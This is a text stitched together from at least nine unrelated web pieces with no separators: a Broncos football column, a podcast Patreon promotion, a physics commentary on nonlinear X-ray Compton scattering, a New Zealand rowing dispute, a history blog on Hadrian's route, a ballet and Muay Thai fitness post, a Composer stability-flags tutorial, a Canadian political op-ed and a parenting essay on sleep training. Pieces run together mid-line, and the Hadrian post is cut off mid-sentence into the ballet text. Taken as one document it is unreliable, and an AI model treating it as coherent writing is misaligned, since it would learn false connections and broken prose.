The best thing about the Broncos right now is their unwavering confidence. When quarterback Brock Osweiler bolted to Houston in free agency, Siemian emerged as a viable replacement after winning a three-man quarterback competition throughout the offseason. When key defensive players like defensive tackle Malik Jackson and linebacker Danny Trevathan also signed with other teams, the Broncos simply plugged in new players and kept plugging away. Then Siemian goes down on Sunday and Lynch does just enough to help them win, including throwing the first touchdown pass of his NFL career.
This is what great teams do. They don't worry about the circumstances. They focus on solutions. The Broncos might have been perilously close to not even making the playoffs last season -- which is easy to forget in the wake of their Super Bowl win -- but they've been on fire ever since January. At this point, it's hard to not wonder what or who actually is going to slow them down.
A lot of that optimism comes back to an elite defense that nobody has been able to figure out this season. Denver is allowing just 16 points per game and the D ranks among the league leaders in both total yards (fourth in the NFL) and passing yards allowed (second). Even a broken forearm to Pro Bowl outside linebacker DeMarcus Ware hasn't hurt the overall effectiveness of this unit. That's mainly because his Pro Bowl counterpart, outside linebacker Von Miller, is terrorizing quarterbacks every time he steps onto a football field (see: 5.5 sacks in four games this season).
But also, what makes this defense so dangerous is that it seems to find a new hero each week. In a 29-17 win at Cincinnati two weeks ago, second-year outside linebacker Shane Ray tallied three sacks. This past weekend, it was defensive end Derek Wolfe picking up 2.5 sacks of his own, and Pro Bowl cornerback Aqib Talib intercepting two passes as he faced the team that drafted him into the NFL. It's reached the point that the Broncos are starting to see teams try all sorts of tactics to keep them off-balance, none of which seem to be working.
"The last couple weeks, we definitely got different looks from the opposing offenses," Talib said. "Tampa came out and did everything opposite from what we saw on film. Cincinnati came out and ran the ball a lot against us [even though the Bengals have been one of the worst rushing teams in the league this season]. We've seen different things, but we also expect that stuff."
Denver clearly expects its quarterbacks to deliver when called upon, as well. Siemian has been a revelation thus far, as he was the least recognizable of the three signal callers competing for the starting job after Osweiler's departure. (The Broncos traded for Mark Sanchez, who is now in Dallas, and selected Lynch in the first round of this year's draft.) Siemian has shown a little more of his game with each passing week and his breakout moment came against Cincinnati (312 yards and four touchdown passes). In fact, it's already fair to say he can be more than just a game manager for this team.
It's also not a leap to think Kubiak can't maximize Lynch's talents if the rookie has to play against Atlanta this coming Sunday. Doctors ruled Siemian's injury as a sprained shoulder -- and he said he could've returned to the game if necessary -- but Lynch displayed enough comfort to think he could handle more time if it comes to that. Kubiak called plays in way that allowed the rookie to find a decent rhythm. In the end, Lynch completed 14 of 24 passes for 170 yards and one touchdown, which was more than enough to help Denver secure a road victory.
This isn't to say that life won't become tougher for the Broncos as this season moves forward. There are bound to be more injuries, along with other unforeseeable setbacks down the road. It's just that this team really isn't fazed by any challenge that lands right smack in front of it. These Broncos seem to savor the opportunity to prove that last season's championship run wasn't solely about a team that got hot at exactly the right time.
So it will be interesting to see what the Broncos are capable of doing next. They've already established themselves as the team to beat once again in the AFC West and they've shown us all that it doesn't matter who they put under center. The real question then has to be if there's a reason to think this team can't turn this momentum into back-to-back championship seasons. At the rate they're going, it would be crazy to bet against that actually happening.
Follow Jeffri Chadiha on Twitter @jeffrichadiha.Hello, Kakos Industries shareholders. My name is Conrad Miszuk, and if you believe the cover story, then I am the creator of Kakos Industries. If you don’t believe the cover story, then I am an inflatable scapegoat from the Division of Inflatable Love Dolls.
I’m putting this cover story up a little early to tell you guys about a great new opportunity over at our Patreon, kakosindustries.com/patreon. We combined the multiple division head pledge levels and the pledge level to have your name in the credits into three new categories for getting your name in the credits. Now, if you pledge at $20, you are an Esteemed Shareholder. This applies to everyone who is already pledging at that level. At $25, you will be an Honored Employee, and we will also tell the world what you did to become so honored. At $30 a month, you will become a division head, and the world will know what your division is working on. For example, the credits will now sound something like this: “Special thanks to our Esteemed Shareholders (list of Esteemed Shareholders), our Honored Employees (Name), who (did action), (Name), who (did this other thing), and (Name), who (did this other thing still), and (your name) the head of the Division of (something). They’re currently working on a project that will (do something). ” We’ll work with you to come up with something creative that you love. So far, these new pledge levels have been really popular, and I would not be doing my job if I didn’t tell you all about them. Those of you who pledge before April 1st (that’s just a few days away at the time of recording) will be in the first episode with these credits. That episode goes up on May 1st. So if you’re on the fence and looking for a cool way to support creative content that you love, this is a great opportunity. Head over to Kakosindustries.com/patreon to pledge.
Also, we’re really close to the next #fanfucktion goal. One more pledge at the Division Head level and we should be able to make a new video out of your nasty-ass Kakos Industries fanfiction. There’s still time to submit your works, so head to Kakosindustries.com/fanfucktion for the details there. That’s f-a-n-f-u-c-k-t-i-o-n.
As always, you are the most delightfully Evil, Nefarious, and ill-intentioned people on planet Earth. Thank you for listening, and thank you for the support.A nonlinear Compton scattering experiment with X-ray photons using an X-ray free-electron laser exhibits an unexpected frequency shift — hinting at the breakdown of standard approximations.
It was with X-rays that Arthur H. Compton experimentally verified in 1923 his theory of what would later be known as the Compton effect1,2. Confirming the quantum hypothesis of light, the X-rays in his experiments turned out to be photons — minuscule billiard balls — colliding with electrons and changing their energy and momentum in the process of scattering. Now, almost 100 years later, X-ray Compton scattering has entered the nonlinear regime, with an experiment reported in Nature Physics by Matthias Fuchs and colleagues3 using the Linac Coherent Light Source (LCLS) X-ray free-electron laser. The team showed that some of the trillions of X-ray photons incident on a solid beryllium target interacted simultaneously with the same bound electron, producing single X-rays with almost double the energy of the incoming ones. What should have been close to a second harmonic turned out to have an anomalous, intriguing redshift.
Compton scattering refers to the inelastic scattering of a photon by a charged particle, typically an electron. If the energy of the incoming photon is much higher than the binding energy of the electron in the atom, the electrons are considered to be quasi-free. This assumption has been repeatedly confirmed by experiments in the linear regime, where single photon–electron scattering events dominate. Even the first experiments on nonlinear X-ray–matter interaction, such as X-ray second harmonic generation4 and X-ray and optical wave mixing5, were successfully modelled by treating the solid as a collection of free electrons. Yet, in the experiment by Fuchs et al.3, X-rays with energies almost two orders of magnitude larger than that of the electron binding gave rise to scattered photon energies that deviated significantly from theoretical predictions in the free-electron approximation.
The X-ray free-electron laser is at present the only X-ray source with sufficient intensity to induce nonlinear Compton effects. At LCLS, one of only two operational X-ray lasers worldwide, Fuchs and co-workers used an intense photon beam with variable energy around 9 keV (1.4 Å) shining on a solid beryllium target. To monitor linear and nonlinear effects simultaneously, scattered photons were recorded both in a region of high photon intensity, where the concerted scattering of two X-rays into a single higher-energy photon was expected, as well as in a low-intensity region, where single X-ray–electron scattering dominated (Fig. 1). The nonlinear nature of the scattering was confirmed by the quadratic dependence with the laser intensity and by the non-dipolar angular scattering pattern. These effects occurred only in the high-intensity region, being absent in the linear-scattering part of the experiment.
Figure 1: Linear and nonlinear X-ray Compton scattering. In the tight-focus part of the X-ray free-electron laser beam, photons interact with the bound electrons of the beryllium target (left) nonlinearly. The second beryllium target (right) is placed in a region of lower beam intensity. The photons experience linear Compton scattering off the target electrons, which in this case act as though they are quasi-free. Full size image
According to the semi-classical quantum electrodynamics treatment of nonlinear Compton scattering6, two-photon scattering from free electrons should lead to a single higher-energy photon redshifted with respect to the second harmonic. However, the shift observed by Fuchs et al.3 in the nonlinear regime was at least 800 eV larger than the theoretical prediction. What could be the explanation for this photon energy loss? Although it is obvious that the free-electron approximation no longer holds, the exact mechanism leading to the observed scattered photon energy distribution is at present unclear. Momentum-conservation arguments suggest that two-photon scattering has enhanced contributions from large momentum transfer events associated with bound electrons. Either the missing momentum is carried away as recoil by the atom, or presumably the scattering occurs from already ionized electrons in a plasma, with an initial electron energy distribution very different from that of the bound ground-state electrons.
Follow-up experiments in the high-intensity regime are called for. Especially intriguing is that recently observed X-ray second harmonic generation4 at the X-ray free-electron laser SACLA in Japan was reproduced successfully by a free-electron approximation theory. The experiment was run at a lower X-ray intensity on diamond crystals under a phase-matching condition, when the two-photon momentum transfer was equal to a reciprocal lattice vector of the crystal. Further nonlinear Compton experiments on diamond crystals, for example, with and without phase matching, and at several intensity values, will shed light on the scattering mechanism on bound-state electrons and help solve the riddle of the anomalously large redshift. In the meantime, theoretical efforts are also required for a better understanding of how very intense X-rays interact with matter — a process governed by electromagnetic forces.
Quantum electrodynamics is the most precisely tested theory in physics. Although one does not expect any surprises here at the fundamental level, nonlinear effects induced by the unprecedented laser intensity and the formation of cold, solid-state-density plasmas7 render approximations in modelling unavoidable, and experimental results difficult to interpret. A good qualitative and quantitative understanding is vital for exploiting high-intensity X-rays in applications such as imaging for biology and chemistry — where enhanced resolving power is paramount — as well as the creation and study of matter under extreme conditions. A first step in this direction has been accomplished by identifying a more complex physics beyond the so-far valid approximations. The anomalous redshift in nonlinear X-ray Compton scattering is a confirmation of how little the interaction between matter and X-ray free-electron laser radiation is understood.
References 1. Compton, A. H. Phys. Rev. 21, 483–502 (1923). 2. Compton, A. H. Phys. Rev. 22, 409–413 (1923). 3. Fuchs, M. et al. Nature Phys. 11, 964–970 (2015). 4. Shwartz, S. et al. Phys. Rev. Lett. 112, 163901 (2014). 5. Glover, T. E. et al. Nature 488, 603–608 (2012). 6. Brown, L. S. & Kibble, T. W. B. Phys. Rev. 133, A705–A719 (1964). 7. Vinko, S. M. et al. Nature 482, 59–62 (2012). Download references
Author information Affiliations Adriana Pálffy is at the Max Planck Institute for Nuclear Physics, Saupfercheckweg 1, D-69117 Heidelberg, Germany Adriana Pálffy Authors Search for Adriana Pálffy in: Nature Research journals •
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Google Scholar Corresponding author Correspondence to Adriana Pálffy.
Rights and permissions To obtain permission to re-use content from this article visit RightsLink.David Lindstrom, front, is a two-time rowing Olympian who competed at the 1972 Munich and 1976 Montreal games.
A former St Bede's College rowing coach has been dropped as a national rowing selector after being caught in a dispute about the behaviour of two students who breached airport security.
Christchurch two-time Olympian David Lindstrom said Rowing New Zealand (RNZ) "removed" him from the junior national selectors panel, a voluntary role he held for nine years.
"All I can say is, it was a shock and I'm certainly not happy about it and I believe that they (RNZ) have acted inappropriately," he said.
FROM THE ARCHIVE:
* Mike Yardley says parents should pay St Bede's legal costs
* 'Undue stress for rowers' team mates'
* Parents drop rowing case
* Parents High Court action'stinks of self-entitlement'
Lindstrom said he was told to leave on April 5 after the fall out of the St Bede's Maadi Cup saga in March, in which he and Alex Meates quit their coaching roles due to the way the school tried to discipline two pupils who breached Auckland Airport security.
Lindstrom, who was convenor of the three-strong national junior selection panel, said RNZ was unhappy about comments published by a media outlet when he quit the school coaching role. RNZ challenged his integrity as a selector because one of the affected pupils was in selection contention.
"We can't do anything about it, we have already gone through a process with a lawyer and that got nowhere and now we are talking to the media."
St Bede's rector Justin Boyle tried to ban students Jordan Kennedy and Jack Bell from racing after they breached Auckland Airport security on March 20.
They entered a restricted area at the airport on the rowing team's way to the Maadi Cup national championships in Waikato's Lake Karapiro.
The boys' fathers, Shane Kennedy and Antony Bell, successfully lodged a High Court injunction allowing their boys to be reinstated in the school's rowing team.
Lindstrom, a St Bede's old boy, said RNZ was unhappy he signed an affidavit supporting the parents by saying the national panel had never selected anyone who did not row at Maadi Cup. He said he could have been subpoenaed to appear before a judge if he did not sign it.
Lindstrom publicly slated the way the school handled the situation as he stood down from coaching the team with Meates.
"What the boys did was a stupid thing to do, but what was even more stupid was the rector's decision as a result of that. It was an inappropriate decision for the seriousness of the crime and the impact on the rest of the group.
"That was the major concern, some four or five boys weren't going to get a row if they pulled (Jordan and Jack) out."
The entire saga resulted in the rowing team performing "way off par", he said.
Lindstrom is among the country's most experienced coaches and has been a national senior selector.
Rowing New Zealand chief executive Simon Peterson refused to comment.
St Bede's College Board of Trustees chairman Warren Johnstone said the school was "focused on the future of rowing which remains a key part of the school".
"Past matters won't be commented upon at this time."
New Zealand Rowing Association past president Bruce Fraser hoped Lindstrom was not lost to the sport.
"I saw him down at rowing a few nights ago... I guess it's in the blood and I don't think he will be totally lost."
Lindstrom is a two-time rowing Olympian who competed at the 1972 Munich and 1976 Montreal games. He has a silver and bronze medal from competing at four world championship regattas.On this day 1,900 years ago, Hadrian crossed the Cilician Gates (Pylae Ciliciae), the most famous mountain pass through the Taurus Mountain. The new Emperor was travelling northward into Cappadocia along the Via Tauri which run across the mountain chain.
We know from a fragment of an itinerary found in Rome that Hadrian left Antioch in the beginning of October AD 117 and reached the city of Mopsucrene on October 13 (see previous post here). The inscription records the various stages of Hadrian’s itinerary in southern Asia Minor while on his way back to Rome via the Danube regions. Hadrian was travelling from Tarsus to Andabalis, via Panhormos (Pozantı), Aquae Calidae (Çiftehan), Tynna (Porsuk) and Tyana (Kemerhisar). On October 14, Hadrian entered the ancient city of Panhormos and on the same day, or the next, he crossed the Cilician Gates. This is the only time that the name Panhormos has appeared anywhere and no remains of the ancient city have ever been unearthed.
Fragmentary inscription (CIL VI 5076) found in Rome registering the names of the stations along the route from Mopsucrene to Andabalis in Western Asia Minor. Transcript of the inscription by W.M. Ramsay (The Historical Geography of Asia Minor, 1890).
In Roman times the Cilician Gates were one of the key routes of the eastern part of the Empire, carrying almost all the overland traffic heading for Antioch and the Syrian regions. Many armies passed through it; those of the Persian general Cyrus the Younger in 401 BC, Alexander the Great in 333 BC, Septimius Severus in AD 194 and the Crusaders. It was also this road that Cicero used on his journey to Tarsus immediately after his nomination as governor of Cilicia.
Xenophon, writing in the 4th century BC, tells that the pass consisted of an exceedingly steep wagon-road and that only one cart could travel through the narrow pass [Xenophon, Anabasis 1.2.21]. Many centuries later, as the legend goes, a loaded camel could just pass between the Gates until Ibrahim Pasha of Egypt (1789 – 1848) opened up the road to carry his artillery over the mountains.
Scottish archaeologist W. M. Ramsay, who is now most remembered for his studies of St. Paul’s missionary journeys in what is now Turkey, described the 70 miles road as being “made in the steep bank by cutting the rock on the higher side and by building on the lower side, so as to give a sufficiently broad platform”. He also described the actual passage of the Gates as being about 90 metres long with the rock walls on both sides rising almost perpendicularly. The narrowest part was not more than 9 to 10 metres from rock to rock and ancient cuttings could still be distinguished from the fractures made by blasting for the modern road.
In the early 20th century there was still only a small road through the Gates which could only be passed on foot or by horse. The Cilician Gates are known today as Gülek Pass or Gülek Boğazı in Turkish and today the Tarsus-Ankara Highway passes through them.
We know from the inscription found in Rome that it took Hadrian five days to cross the Taurus Mountains, starting his journey at Mopsucrene, the last station for travellers before they passed the Gates, and finishing at Andabalis in Southern Cappadocia.
Traces of the Roman road on which Hadrian marched have been observed since the 19th century and it is still possible today to walk over a long section of the Via Tauri. The most impressive and best-preserved stretch of road can be found some 6 kilometres north of Tarsus on a rocky plateau, 400 metres above sea-level.
Having passed through the Cilician Gates some 32 km further to the north, Hadrian crossed the border between the provinces of Cilicia and Cappadocia and continued to march northward towards Podandos and Aquae Calidae which he reached on October 15.
Standing at the entrance to the pass across the Taurus Mountains, the ancient city of Podandos was a small fortified town on the border between Cilicia and south Cappadocia. Due to its similarity of name, it has been identified with modern Pozantı. The Itinerarium Burdigalense (“Bordeaux Itinerary”), where the city is named Opodandum, places it XV miles north of the Cilician Gates. Some ruins of the ancient city were located and exposed in the 19th century on the east bank of the Çakit Suyu river about a mile upstream from Pozanti but the site is now covered with irrigated orchards.
Due to its strategic position on the major gateway to the Mediterranean coasts, Podandos was naturally a place of great importance in the Roman Empire. The command of the Pass depended on who was ruling the city. When the emperor Valens partitioned Cappadocia into two parts in AD 371, Prima in the north and Secunda in the south, Podandos was chosen as capital of the southern part. However, it was soon rejected in favour of Tyana and by Late Antiquity its importance was diminished. The military importance of the city was again revealed in the 7th century when Muslims arrived in Anatolia. The Arabs called the city El Bedendum and finally it was changed to Bozantı and Pozantı by the Turks.
It was in this area that an important milestone was unearthed. The stone carries an inscription stating that Caracalla “repaired the road through the Taurus Mountains with new bridges, after the road had collapsed through old age (viam tauri vestutate), by levelling mountains, cutting through rocks, and widening the tracks” (AE1969/70, 607). The milestone also gives the distance to the Cilician Gates; XV miles. These roadworks and their commemoration were made on the occasion of Caracalla’s eastern expedition in the spring of AD 217.
[Imp(erator) Caes(ar)]
[M(arcus) Aurelius Severus Antoninus]
[Pius Feli]x {C} A[ug(ustus) Parth(icus) max(imus)]
[Brit(annicus) m]ax(imus) Ger[m(anicus) max(imus)] pontif(ex)
[max(imus) tr]ib(unicia) potest(ate) XX imp(erator) III co(n)sul IIII
[proco(n)]s(ul) p(ater) p(atriae) viam Tauri vetustate
[conl]apsam conplanatis monti-
[bus e]t caesis rupibus ac dilata-
[tis i]tineribus cum pontibus
institutis restituit
a Pylas(!) m(ilia) p(assuum) XV
Another inscription recording Caracalla’s work survived and was still visible at the Cilician Gates until recently.
Continuing north along the Via Tauri, Hadrian reached the thermal spa of Aquae Calidae, located XII miles from Podandos (It. Burd.). The ancient city has been associated with Çiftehan in the province of Niğde.
There were no permanent settlements in Aquae Calidae but its thermal baths were famous during the Roman Empire era. In 1879, the Reverend E.J. Davis referred to ‘a hot mineral spring’ and the presence of a ‘bath of Roman construction …with vaulted roofs of masonry … somewhat ruined’ standing over |
a place in the Royal Ballet’s prestigious Junior Associate program, I’ve been exposed to many behind the scenes ballet training philosophies.
And despite the apparent ‘face value’ contrasts between classical ballet performance and Muay Thai competition, I’m again struck by the similarities. As always, it’s a matter of scale, but the principles are the same. Substitute the term ‘dancer’ with the word ‘fighter’ and you pretty much have a match…
Classical ballet is a very technical discipline, and with a long history and many traditional training methods and beliefs – sound familiar?
And all of the many different dance movements come from just 5 basic positions. A basic foundation forms a complex whole.
And despite the exertion levels, classical ballet demands that dancers make their movements appear effortless. This ‘poker face’ attitude resonates strongly with Thai boxers, not wanting to give a scoring advantage to their opponent.
Although dancing activity displays obvious strength and power, this is rarely trained and developed with supplemental training. Technical practice predominantly serves as the sole method of building these athletic qualities and the fitness required to perform – leaving a lot of potential on the table.
“All you need to be a better dancer, is to practice more dancing.”
“Using weight training will make you bulky, cumbersome and spoil the dancer’s aesthetic.”
All of these misconceptions are still prevalent in classical ballet circles.
As a result, injuries are common at the onset of a performance season, due to the sudden increase in the volume of activity, and general lack of strength balancing joint actions. Progressive, planned (periodised) supplemental training generally seems all but non-existent.
However, there’s a ton of good stuff going on too. Parents were allowed to attend the beginning of the first session for the next influx of Junior Associates recruits. And the first thing the dancers where introduced to were a series of preparatory exercises that must be practiced as homework.
Not only were the exercises highly valuable for developing the physical posture demanded by the Royal Ballet, the teacher went on to explain the need to understand the reason for the homework, “You must focus on what the exercises are doing as you practice them, or they’ll not be effective.”
I wholeheartedly agree with this. Purposeful practice is key to excellence. If you don’t understand the purpose of your training and focus on it as you train, you’re never going to reach your potential. My online Muay Thai strength and conditioning program has a considerable educational component for this exact reason.
Purposeful practice leads to flow, something I’ve discussed regarding fight performance previously, but is also very evident in dance. If you can reduce the demand on you cognitive (system 2) thought processes through efficient, instinctive (system 1) autopilot, you can really feel the timing and movement of the situation. You can dance with ‘heart’, just as you can fight with heart too.
Although classical ballet performance itself may not be competitive in the terms that Thai boxers would think of, I can assure you it is. With thousands of dancers all vying for a few available places, ballet is extremely competitive. Dancers must audition for everything – training programs, international summer schools and of course performance roles. They are constantly being put up against each other, with only the best and most suitable being selected. Ballet dancers have to ‘fight’ just as fighters have to ‘dance’.
In the reception at the Royal Ballet School in Convent Garden, London, a photograph and text displayed on the wall tributes Dame Ninette de Valois (1898-2001), the Founder of the Royal Ballet School. After an inspiring synopsis of her considerable contributions to her art, it finished with one of her powerful and succinct quotes:
“Respect the past, herald the future, but concentrate on the present.” Dame Ninette de Valois, Founder of the Royal Ballet School
Now, this just about sums up EVERYTHING for me in just one sentence! This lady had obviously grown though her chosen discipline to be become much more than a ‘dancer’. Dance was her catalyst, just as we’re drawn to Muay Thai – that’s our vehicle for growth. Whatever ‘lights your fire’ can teach you big lessons.
If you can learn to recognise ‘fire’ when you see it, regardless of it’s source or application, you’ll gain some awesome insight. There’s a bigger carry-over between all things than you may realise. Keep your eyes (and hearts) open.Composer Stability Flags
The most common issue coming up in composer support at the moment is confusion about how stability is determined.
Usually it is a variant of this case:
When I require package A:dev-master, which depends on B:dev-master, composer tells me that package B was not found.
Root package
The root package is the main composer.json file. It is the one in the same directory that you run composer install in. Many of the fields in composer.json are root-only, which means that they only have an effect if they are specified in the root package.
The root package is a context. Let's say you are depending on a package A. In the directory of your own package, your package is the root package. If you cd into the directory of A, then A is the root package.
Stability is determined by the root package, and the root package only. Let that sink in for a moment, and don't ever forget it.
Composer puts the decision of how stable your dependencies are in the hands of the user. As a user, you decide if you want to use dev, beta or stable releases.
minimum-stability
The basis of this decision is the minimum-stability field in the root package. It's a root-only field. It defines a default value for stability flags and acts as a lower bound.
It's a ruler that you can pull down. By default only shows "stable", but you can pull down and reveal the lower stability flags.
minimum-stability defines the default stability flag for all constraints.
Stability resolution
So let's think of a scenario where the root package requires package A:dev- master, which in turn requires B:dev-master.
The root package looks like this:
{ "require" : { "A" : "dev-master" } }
Composer will follow these steps:
Determine minimum-stability : In this case the field is not defined, so it is set to the default value, which is "stable".
It sees that A has a constraint for version dev-master. Due to the dev- prefix, this is known to be a dev version, and dev versions have "dev" stability. Because this constraint for a dev version is defined in the root package, it implicitly gets the @dev stability flag.
Since A has a constraint of A:dev-master@dev, this version matches and composer follows the link. It sees that A has a dependency on B with a constraint of dev-master. This has a dev- prefix, so it has a stability of "dev".
However, since the constraint is defined in package A and not the root package, it does not implicitly get the @dev stability flag. Instead it inherits the minimum-stability which is "stable". So the resolved constraint is B:dev-master@stable.
At this point it will fail, because B:dev-master@stable does not resolve to anything. It will tell you that it cannot find a package B within the stability range you provided.
One way to fix the problem would be to just lower your minimum-stability down to "dev". But that's usually a really bad idea, because it applies to all constraints and as a result you will get unstable versions of all packages.
So please, don't do that.
Stability flags
Instead, use stability flags.
A flag is defined as part of a version constraint. Since stability is determined by the root package only, flags are also root-only. Flags defined in dependent packages are simply ignored.
You can use flags to whitelist specific unstable packages. In this case I want to whitelist B. Here is how you do that:
{ "require" : { "A" : "dev-master", "B" : "@dev" } }
Note that I did not define an actual version in the root package. This means that the root package does not care which version of B is installed, it delegates that decision to A, which has a more specific constraint.
The benefit is that if A decides to change its dependency on B from dev-master to ~1.0 or anything else, the root package will not need any changes.
Silex example
To get a better idea of how this works in practice, let's look at an example involving silex.
At the time of this writing there is no stable version of silex, which means in order to install it, you need to add a @dev flag:
{ "require" : { "silex/silex" : "1.0.*@dev" } }
Silex only has a 1.0.x-dev version, which is the dev version of the 1.0 branch.
All of the dependencies of silex have stable releases. Which means by default you will get v2.1.7 of a number of symfony components and v1.0.1 of pimple.
If you wanted to try the v2.2.0-RC1 version of those symfony components that was released a few days ago, you could whitelist them like this:
{ "require" : { "silex/silex" : "1.0.*@dev", "symfony/event-dispatcher" : "@RC", "symfony/http-foundation" : "@RC", "symfony/http-kernel" : "@RC", "symfony/routing" : "@RC" } }
Since specifying all of those versions is kind of tedious, you could lower the minimum-stability. In this case that is okay, because it is not installing unstable packages that you do not want.
{ "minimum-stability" : "RC", "require" : { "silex/silex" : "1.0.*@dev" } }
prefer-stable
Some time after this post was written, composer got a new prefer-stable feature.
If you don't want to figure out the stability of your deps, you can just use the prefer-stable field in your root package. Composer will try to figure out the most stable deps it can.
This is quite convenient and often will get you something good enough. But I would still encourage you to think more about which stability you really want, and declaring it explicitly. You may be trading convenience for control.
Conclusion
Hopefully this gives you a better understanding of how composer determines stability and how you can use stability flags to get those unstable versions.
Remember though: Most likely the reason why you need those stability flags is because the maintainers of your dependencies did not tag stable releases. You should go and annoy them right now so they add branch-aliases and tag releases. And as soon as they do, you can nuke those stability flags and be happy again.
See also: Composer Version Constraints.Paul Calandra is doing the job he was told to do.
He isn’t some rogue backbencher whose gaffe has caused a blip of embarrassment. The prime minister chose Calandra to be his own parliamentary secretary. If the prime minister wanted him to answer direct questions, he would. But he is being sent out, day after day, into the House of Commons and onto television to be deliberately obtuse.
Calandra has chosen to play the buffoon, and the prime minister has decided to make him the public face of the government of Canada. In fact, Calandra is following the question-period strategy set by other of Harper’s parliamentary secretaries, such as Dean Del Mastro and Pierre Poilievre.
On Sept. 23, the Leader of the Opposition, Thomas Mulcair, asked in question period: “Will the Conservative government confirm that the 30-day Canadian commitment in Iraq will indeed end on October 4?”
Calandra stood up and answered, “Mr. Speaker, there is a great deal of confusion with respect to the NDP position on Israel.” He went on to ramble about an NDP fundraiser, while many of the people’s representatives reacted with shocked laughter.
If this were a one-time slip, one might assume that this was nothing more than a nervous MP getting his notes and his “I” countries mixed up. But no. Calandra doubled down on the talking point at every further opportunity. And this is only the latest example of Calandra’s consistent strategy. He doesn’t just avoid questions; he substitutes his own reality, openly mocking the very idea that anyone could ask the government questions. Last October, when Liberal Marc Garneau asked a direct question about who was involved in Nigel Wright’s secret cheque to sitting Senator Mike Duffy, Calandra responded with a now-notorious folksy tale about a pizza shop.
To many hard-core Tory partisans, this is all hilarious. It’s all just a game. But while gamesmanship has always been part of the House of Commons, the points used to be scored according to who landed a shot, not who managed to turn the Canadian Parliament into a viral video.
So far, the Conservatives seem to think this strategy is working just fine. If the Conservatives plan to make the next election about competence vs. inexperience, about seriousness vs. frivolity, they don’t seem to think that having Calandra perform his strange routine gets in the way of that message.
But it must make the decent MPs from all parties cringe. If this is what a successful MP looks like now, why would anyone even want to go to Parliament, to play that cringeworthy part, to embarrass themselves, their government and their country over and over again? At some point, it stops being about strategy or even about the rules. This is a fundamental question of honour, for both Calandra and the prime minister.After E. and I smoked a cigarette each on the patio steps, we went back inside and began to drink beer in great gulps. We set up the backgammon board and played with a combination of intensity and absent-mindedness, forced to count out intervals we once had memorized. Jessye Norman’s voice soared to sing the last line of the third of Strauss’s four last songs, “Tief und Tausendfach das Leben,” but through it all, upstairs in her darkened nursery, our 6-month-old daughter cried, and through it all we heard her.
Do not think that we were being horrible, indifferent parents. We were trying very hard the whole time to be good and dutiful ones. We were practicing what the army of child sleep specialists calls “extinction,” letting our daughter learn to settle herself to sleep on her own. There are many ways of extinguishing your child: “graduated extinction,” or Ferberizing, as well as extensive cuddling and prolonged breast-feeding (not really practicable for working mothers), and probably some other method involving elaborate Wicca rituals. Ferberizing allows you to sit with your child while she cries, talk to her or stroke her hair, everything but pick her up, and to do these soothings at intervals gradually longer and longer. Behind Ferber is the sound idea that your child needs to know you are there in order to settle herself to sleep. Behind the outright extinguishers, or whatever you want to callthem, is the no less sound theory that your child wants to be cuddled to sleep and nothing else will do, so you might as well teach her that though you are there before she’s about to sleep, and when she wakes up with a genuine hunger, you are not there while she tries to sleep.
No agreement can be found among parents, and the books, for all their appearance of scientific scrupulousness, play to different fears. “Nobody knows the effects of leaving your child alone to cry,” writes Elizabeth Pantley, author of the No Cry Sleep Solution, in a way that leads you to think these effects could only be terrible. T. Berry Brazelton, the parenting industry’s Dr. Phil, warns that you should never reward your child for crying. We steered between the Scylla and Charybdis of good advice by consulting our friends with children. One of them, who’d read a Ferber book and then went the other way with his daughter, said, “I can’t imagine letting her know you’re there and not giving her what she wants. Why torture her?”
That argument was enough for us. We couldn’t bear to think that the sound of our voices could become a source of pain to our child. The other benefit of extinction was its apparent speed. In the case of our friend’s daughter, she’d cried forty-five minutes the first night, thirty minutes the next, twenty the following, then five, and after that only a few whimpers of exhaustion. It was a cold, hard, and ruthlessly efficient way of doing the cold, hard, ruthless, and needful thing of placing an infant on a sleep cycle in tune with the rhythms of life in a job-holding society. All the books agree that establishing a routine and pattern is important, and, in the manner of all self-help books, the primary instrument of both Ferber and non-Ferber is the schedule worksheet in which you note down all the times your child sleeps, and for how long. You become, in short, your own home sleep psychologist. Parents need routines too, and clocking in obsessively can be one of them.
Of course E. and I thought that these worksheets were a trick, something to do to make us feel like caring, conscientious parents as we began the process of abandoning our child to a world with no cuddling on demand. To leave your child to cry, for even a minute, goes against every instinct and social response. Not to rush and pick her up requires an immense act of will. We could do no right, but we feared that we could also do wrong. So we chose to do our duty and to feel bad about it. E. bore down and set up routines: an evening meal, a bath, a time for quiet holding and singing and reading of stories and play, and then, at the appointed hour, off to bed, goodnights said in a tone of false assurance (another commandment of sleep therapists: do not convey your own anxiety to your child!), the lights out, the crying beginning from the time her head is laid in the crib and her arms reach up. And so we shut the door and snuck downstairs to do the things we do when we feel bad.
That first night, as we diced and went for the second beer at the half-hour mark, unbidden into my mind came the thought that we were behaving exactly like the guilty torturers of history and legend, propping each other up as we went about the unthinkable. Strauss’s songs blended into both a compensation for human suffering and suffering’s soundtrack; a momentary understanding flickered of why those kommandants listened to their Mozart and Bach.
We were not torturers, of course, or kapos, despite the workings of my guilty imagination. What separated us from them—besides our soft Persian rugs and baby blankets in rustic patterns, as against their barbed wire and wood pallets—was, of course, intention. Everything we do with our daughter is governed by love, and we wish her to become a full and free individual, capable of love in her own right. Intention, however, is a thin defense. Love has never prevented people from mistreating their children: “This hurts me more than it hurts you!” And indeed—for here is the thing—the Bush Administration has relied very heavily on the excuse of good intentions in its bid to make torture acceptable to Americans. Alberto Gonzales’s government memo of 2002, adopted by the Justice Department, defines torture only as an intention to inflict pain. It doesn’t matter what you do to the person before you, as long as you really want the truth, or to save lives, or to save someone’s soul. You can rip out fingernails to get what you want, and as long as what you want is not to hurt your subject, you are not engaged in torture, at least not according to the impeccable mind of our Attorney General.
Metaphors are not arguments; they are collisions in a mental environment. Perhaps it was our friend’s remark that first suggested an association between certain varieties of “extinction” and torture. Or perhaps it was simply being alive and a reader of the news in today’s America. If you don’t know that America now engages in torture and sends people to countries that also torture, someone has done a very good job indeed of putting you to sleep. If you don’t know that our Attorney General is an apologist for torture and our Defense Secretary an enthusiastic proponent of it, you are sleeping soundly. The fact that Americans are torturers saturates the atmosphere, even our modest trinity house in Philadelphia, and the modest peaceable lives most of us lead. The metaphor cannot help being false and exaggerated in some ways, as in the Sylvia Plath poem “Daddy” (known in our family as “Shall I compare thee to an SS Officer?”), but the metaphor also contains the traces of an actual resemblance, however distorted.
